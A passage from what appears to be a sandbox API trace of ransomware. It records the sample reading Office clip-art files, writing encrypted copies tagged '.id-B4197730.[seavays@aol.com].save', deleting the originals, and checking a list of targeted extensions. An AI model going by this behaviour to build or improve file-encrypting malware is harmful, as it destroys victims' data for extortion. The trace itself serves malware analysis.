[0067.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0067.255] lstrlenW (lpString=".1cd") returned 4 [0067.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0067.255] lstrlenW (lpString=".jpg") returned 4 [0067.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.255] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.255] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0067.256] GetLastError () returned 0x0 [0067.256] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1870, lpOverlapped=0x0) returned 1 [0067.258] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1880, lpOverlapped=0x0) returned 1 [0067.259] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.259] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0067.259] SetEndOfFile (hFile=0x2f4) returned 1 [0067.260] CloseHandle (hObject=0x2f4) returned 1 [0067.262] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.262] SetEndOfFile (hFile=0x390) returned 1 [0067.263] CloseHandle (hObject=0x390) returned 1 [0067.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0067.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0067.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0067.265] lstrlenW (lpString=".doc") returned 4 [0067.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.265] lstrlenW (lpString=".docx") returned 5 [0067.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.265] lstrlenW (lpString=".pdf") returned 4 [0067.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.265] lstrlenW (lpString=".xls") returned 4 [0067.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.265] lstrlenW (lpString=".xlsx") returned 5 [0067.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.266] lstrlenW (lpString=".ppt") returned 4 [0067.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0067.266] lstrlenW (lpString=".zip") returned 4 [0067.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.266] lstrlenW (lpString=".rar") returned 4 [0067.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.266] lstrlenW (lpString=".bz2") returned 4 [0067.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.266] lstrlenW (lpString=".7z") returned 3 [0067.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0067.266] lstrlenW (lpString=".dbf") returned 4 [0067.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0067.266] lstrlenW (lpString=".1cd") returned 4 [0067.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0067.266] lstrlenW (lpString=".jpg") returned 4 [0067.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.267] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.267] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0067.267] GetLastError () returned 0x0 [0067.267] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4c14, lpOverlapped=0x0) returned 1 [0067.269] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4c20, lpOverlapped=0x0) returned 1 [0067.271] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.271] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0067.271] SetEndOfFile (hFile=0x2f4) returned 1 [0067.271] CloseHandle (hObject=0x2f4) returned 1 [0067.278] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.278] SetEndOfFile (hFile=0x390) returned 1 [0067.279] CloseHandle (hObject=0x390) returned 1 [0067.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0067.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0067.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0067.280] lstrlenW (lpString=".doc") returned 4 [0067.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.280] lstrlenW (lpString=".docx") returned 5 [0067.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.280] lstrlenW (lpString=".pdf") returned 4 [0067.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.280] lstrlenW (lpString=".xls") returned 4 [0067.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.280] lstrlenW (lpString=".xlsx") returned 5 [0067.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.280] lstrlenW (lpString=".ppt") returned 4 [0067.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0067.280] lstrlenW (lpString=".zip") returned 4 [0067.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.280] lstrlenW (lpString=".rar") returned 4 [0067.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.280] lstrlenW (lpString=".bz2") returned 4 [0067.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.280] lstrlenW (lpString=".7z") returned 3 [0067.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0067.280] lstrlenW (lpString=".dbf") returned 4 [0067.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0067.281] lstrlenW (lpString=".1cd") returned 4 [0067.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0067.281] lstrlenW (lpString=".jpg") returned 4 [0067.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.281] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.281] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0067.282] GetLastError () returned 0x0 [0067.282] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xeb8, lpOverlapped=0x0) returned 1 [0067.283] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec0, lpOverlapped=0x0) returned 1 [0067.284] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.284] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0067.284] SetEndOfFile (hFile=0x2f4) returned 1 [0067.285] CloseHandle (hObject=0x2f4) returned 1 [0067.286] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.286] SetEndOfFile (hFile=0x390) returned 1 [0067.286] CloseHandle (hObject=0x390) returned 1 [0067.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0067.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0067.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0067.287] lstrlenW (lpString=".doc") returned 4 [0067.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.287] lstrlenW (lpString=".docx") returned 5 [0067.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.287] lstrlenW (lpString=".pdf") returned 4 [0067.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.287] lstrlenW (lpString=".xls") returned 4 [0067.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.288] lstrlenW (lpString=".xlsx") returned 5 [0067.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.288] lstrlenW (lpString=".ppt") returned 4 [0067.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0067.288] lstrlenW (lpString=".zip") returned 4 [0067.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.288] lstrlenW (lpString=".rar") returned 4 [0067.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.288] lstrlenW (lpString=".bz2") returned 4 [0067.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.288] lstrlenW (lpString=".7z") returned 3 [0067.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0067.288] lstrlenW (lpString=".dbf") returned 4 [0067.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0067.288] lstrlenW (lpString=".1cd") returned 4 [0067.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0067.288] lstrlenW (lpString=".jpg") returned 4 [0067.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.289] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.289] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0067.290] GetLastError () returned 0x0 [0067.290] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xd16, lpOverlapped=0x0) returned 1 [0067.830] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xd20, lpOverlapped=0x0) returned 1 [0067.831] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.831] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0067.831] SetEndOfFile (hFile=0x2f4) returned 1 [0067.832] CloseHandle (hObject=0x2f4) returned 1 [0067.833] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.833] SetEndOfFile (hFile=0x390) returned 1 [0067.834] CloseHandle (hObject=0x390) returned 1 [0067.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0067.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0067.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0067.835] lstrlenW (lpString=".doc") returned 4 [0067.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.835] lstrlenW (lpString=".docx") returned 5 [0067.835] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0067.835] lstrlenW (lpString=".pdf") returned 4 [0067.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.835] lstrlenW (lpString=".xls") returned 4 [0067.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.836] lstrlenW (lpString=".xlsx") returned 5 [0067.836] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0067.836] lstrlenW (lpString=".ppt") returned 4 [0067.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0067.836] lstrlenW (lpString=".zip") returned 4 [0067.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.836] lstrlenW (lpString=".rar") returned 4 [0067.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.836] lstrlenW (lpString=".bz2") returned 4 [0067.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.836] lstrlenW (lpString=".7z") returned 3 [0067.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0067.836] lstrlenW (lpString=".dbf") returned 4 [0067.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0067.836] lstrlenW (lpString=".1cd") returned 4 [0067.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0067.836] lstrlenW (lpString=".jpg") returned 4 [0067.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.837] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.837] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0067.837] GetLastError () returned 0x0 [0067.838] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x634, lpOverlapped=0x0) returned 1 [0067.839] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x640, lpOverlapped=0x0) returned 1 [0067.841] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.841] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0067.841] SetEndOfFile (hFile=0x2f4) returned 1 [0067.841] CloseHandle (hObject=0x2f4) returned 1 [0067.842] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.842] SetEndOfFile (hFile=0x390) returned 1 [0067.843] CloseHandle (hObject=0x390) returned 1 [0067.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0067.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0067.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0067.855] lstrlenW (lpString=".doc") returned 4 [0067.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.855] lstrlenW (lpString=".docx") returned 5 [0067.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.855] lstrlenW (lpString=".pdf") returned 4 [0067.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.855] lstrlenW (lpString=".xls") returned 4 [0067.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.855] lstrlenW (lpString=".xlsx") returned 5 [0067.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.855] lstrlenW (lpString=".ppt") returned 4 [0067.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0067.855] lstrlenW (lpString=".zip") returned 4 [0067.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.855] lstrlenW (lpString=".rar") returned 4 [0067.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.856] lstrlenW (lpString=".bz2") returned 4 [0067.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.856] lstrlenW (lpString=".7z") returned 3 [0067.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0067.857] lstrlenW (lpString=".dbf") returned 4 [0067.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0067.857] lstrlenW (lpString=".1cd") returned 4 [0067.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0067.857] lstrlenW (lpString=".jpg") returned 4 [0067.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.858] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.858] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0067.859] GetLastError () returned 0x0 [0067.859] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4bc, lpOverlapped=0x0) returned 1 [0067.861] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4c0, lpOverlapped=0x0) returned 1 [0067.862] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, 